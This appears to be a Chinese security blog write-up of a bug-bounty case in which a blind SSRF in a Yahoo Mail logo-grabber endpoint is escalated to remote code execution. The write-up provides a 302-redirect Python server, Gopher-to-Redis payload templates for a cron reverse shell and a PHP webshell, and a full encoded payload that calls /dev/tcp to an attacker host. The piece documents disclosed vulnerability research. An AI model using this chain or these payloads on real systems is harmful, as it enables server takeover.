SSRF 常与 URL 挂钩,通过 Gopher 协议可扩大漏洞危害,实现远程RCE等。
当仅关注单一Web程序时,一种常用的方法是使用工具如GAU、Ffuf等获取信息或渗透测试。
而 mail.yahoo.com 适用于第二种情况:开启Burp并不断访问功能点,最后分析请求包。
应厂商要求,本文不配图。
对 mail.yahoo.com 的众多请求包进行分析,存在一请求如下:GET /xxx/logoGrabber?url=http://example.com
Host: mail.yahoo.com
...
其响应内容如下:{"responseTime":"99999ms","grabbedUrl":"http://example.com","urlInfo":{"pageTitle":"Example Title","pageLogo":"pagelogourl"}}
可知该网站存在 SSRF 的可能,故开始验证。
构造请求包如下:GET /xxx/logoGrabber?url=http://127.0.0.1/ice/ice.txt
Host: mail.yahoo.com
...
发现其能够出网进行交互,而不能访问雅虎内部的某一IP及本机127.0.0.1,可能 IP 被列入黑名单。
推测 SSRF攻击内部 IP 的概率仍然存在,故枚举子域名并进行类似的请求喷射,得到结果如下:somecorpsite.yahoo.com
不对外开放,但构造请求包如下却能回显somecorpsite.yahoo.com
的相关信息:# 请求包
GET /xxx/logoGrabber?url=http://somecorpsite.yahoo.com
Host: mail.yahoo.com
...
#响应包
{"responseTime":"9ms","grabbedUrl":"http://somecorpsite.yahoo.com","urlInfo":{"pageTitle":"INTERNAL PAGE TITLE","pageLogo":"http://somecorpsite.yahoo.com/logos/logo.png"}}
类似于 FUZZ 且无危害,技术性并不高。
蓦然回首本文开头,Gopher 结合 Blind SSRF 值得一试。
可利用 Burp Collaborator,故构造如下请求:GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl
主机:mail.yahoo.com
...
结果是:没有请求发送到 Burp Collaborator,推断目标服务器可能限制了 Gopher 协议,绕过方法之一是重定向。
测试是否支持重定向:
创建 Python http 服务器#!/usr/bin/env python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
# 判断参数数量是否正确
if len(sys.argv)-1 != 2:
print("""
Usage: {} <port_number> <url>
""".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
# 处理 GET 请求
def do_GET(self):
# 发送 302 状态码
self.send_response(302)
# 设置 Location 响应头,指定重定向的目标 URL
self.send_header('Location', sys.argv[2])
# 结束响应头
self.end_headers()
# 发生错误时的处理方式,也重定向到目标 URL
def send_error(self, code, message=None):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
再将所有的GET流量都重定向到 Burp Collaborator URL:python3 302redirect.py port "http://mycollaboratorurl/"
接着构造请求如下:GET /xxx/logoGrabber?url=http://my302redirectserver/
主机:mail.yahoo.com
...
在提交请求后,重定向被跟随,导致 Burp Collaborator URL受到了访问。
将重定向与 Gopher 结合:python3 302redirect.py port "gopher://mycollaboratorurl/"
再次构造相同的请求:GET /xxx/logoGrabber?url=http://my302redirectserver/
主机:mail.yahoo.com
...
在提交请求后,Burp Collaborator URL受到了访问,显然,重定向与 Gopher 结合成功,则此时可以利用 Gopher 协议访问内部IP。
要实现 Gopher 协议的危害升级,可利用工具:gopherus
简单介绍一下gopherus:通过gopherus可构建和发送Gopher请求,并查看响应结果。其可以实现对MySQL、FastCGI、Memcached、Redis、 Zabbix、SMTP 等的攻击。
由于127.0.0.1在不使用 Gopher 的情况下不可访问,且测试数据可控,故测试127.0.0.1。
可以在主机上开启 MySQL 等服务,并记下其端口,再利用 gopherus工具进行shell。也可通过302将网络服务器重定向到gopher://127.0.0.1:port,然后提交请求来查看哪些端口是开放的:GET /xxx/logoGrabber?url=http://my302redirectserver/
主机:mail.yahoo.com
...
回显如下:302redirect → gopher://127.0.0.1:3306 [响应时间:3000ms]-CLOSED
302redirect → gopher://127.0.0.1:9000 [响应时间:2500ms]-CLOSED
302redirect → gopher://127.0.0.1:6379 [响应时间:500ms]-OPEN
ETC…
可以看到 Redis 服务是开放的,针对 Redis 的利用方法分为两种:
1、利用写入计划任务来执行反弹shell操作Payload:"*1\r$8\rflushall\r*3\r$3\rset\r$1\r1\r$" + str(len_cmd) + "\r" + cmd + "\r*4\r$6\rconfig\r$3\rset\r$3\rdir\r$" + str(len(crontab_dir)) + "\r" + crontab_dir + "\r*4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r$4\rroot\r*1\r$4\rsave\r"
2、在知晓网站网站绝对路径的情况下,写入phpshellPayload:"*1\r$8\rflushall\r*3\r$3\rset\r$1\r1\r$" + str(len(php_payload) + 4) + "\r" + php_payload + "\r*4\r$6\rconfig\r$3\rset\r$3\rdir\r$" + str(len(web_root_location)) + "\r" + web_root_location + "\r*4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r$9\rshell.php\r*1\r$4\rsave\r"
选择方法一,构造反弹 shell 脚本如下:gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$69
*1 * * * * bash -c "sh -i >& /dev/tcp/xxxx/1337 0>&1"
#将输入和输出重定向至1337端口
*4
$6
config
$3
set
$3
dir
$14
/var/lib/redis
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
对其编码得到:gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1% 0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20% 3E%26%20/dev/tcp/xxxx/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243% 0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A% 243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
此时在端口 1337 上启动 Netcat 侦听器以捕获任何传入的反弹 shell
接着执行:python3 302redirect.py port "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A
%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"
再提交请求:GET /xxx/logoGrabber?url=http://my302redirectserver/
主机:mail.yahoo.com
...
结果如下图,运行 whoami 可以看到回显root,说明RCE成功:
参考链接:
https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530
本公众号不承担任何由于传播、利用本公众号所发布内容而造成的任何后果及法律责任。未经许可,不得转载。
芳华绝代安全团队现已推出Web安全渗透教程,欢迎学习:
https://space.bilibili.com/60220504
微信扫一扫
关注该公众号